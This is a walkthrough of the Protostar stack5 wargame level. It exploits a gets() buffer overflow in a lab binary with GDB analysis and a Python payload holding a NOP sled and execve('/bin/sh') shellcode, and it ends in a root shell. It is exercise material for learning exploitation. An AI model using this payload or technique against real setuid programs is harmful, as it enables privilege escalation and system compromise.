Stack 5 source
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
We can utilize the same padding offset we found in stack4 to overwrite the return address. We have to return from the main function to shellcode that we write to the stack. We will write a NOP sled before the shellcode, and set the main function return address to around the middle of the NOP sled. This will ensure that the exploit works even if the stack moves around due to inconsistencies.
To find our new return address, we can use GDB.
gdb stack5
(gdb) disassemble main
We find that the return instruction is at 0x080483da.
(gdb) break *0x080483da
(gdb) r
asldkjfl
Then, when the program hits the breakpoint, we check the stack.
(gdb) x/8wx $esp
The stack pointer is currently at 0xbffffcbc (this may change depending on the machine and other factors, gdb will provide accurate information). This is before the return address is removed from the stack. We now want to decide on our new return address. If we make the NOP sled 28 operations long, then 0xbffffcd0 should work, since it would be around the middle of the NOP sled. Finally, at the end of the NOP sled, we must place shellcode. The problem suggests using someone else’s shellcode, so I tried a few shellcodes from shell-storm.org. Since the stack5 program is run by user but runs as a root program, using shellcode to call /bin/sh will create a root shell. The shellcode that I got working is found at http://shell-storm.org/shellcode/files/shellcode-811.php.
print("".join([chr(i)*4 for i in range(65,84)])+"\xd0\xfc\xff\xbf"+"\x90"*28+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")
python /tmp/stack5.py > /tmp/exploit
gdb stack5
(gdb) r < /tmp/exploit
The output shows that it runs /bin/dash, then immediately ends the program. Next I tried this outside of GDB, but I ran into a few different errors on different occasions, such as Segmentation Fault, Floating point error, Illegal Instruction, etc. After some research, I concluded that environment variables were causing my return address to miss the NOP sled. So I increased my NOP sled and modified the return address until my exploit worked.
print("".join([chr(i)*4 for i in range(65,84)])+"\xd8\xf7\xff\xbf"+"\x90"*40+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")
python stack5.py | /opt/protostar/bin/stack5
This time, no errors occurred, but the /bin/dash immediately closed without any input or output. Something similar happened in GDB. In order to counter this, we need to have input piped into the original command before it is run. When the “cat” command is not provided any input, it reads from stdin to print instead. Thus, chaining the “cat” command with the python exploit works.
(python stack5.py; cat) | /opt/protostar/bin/stack5
whoami
root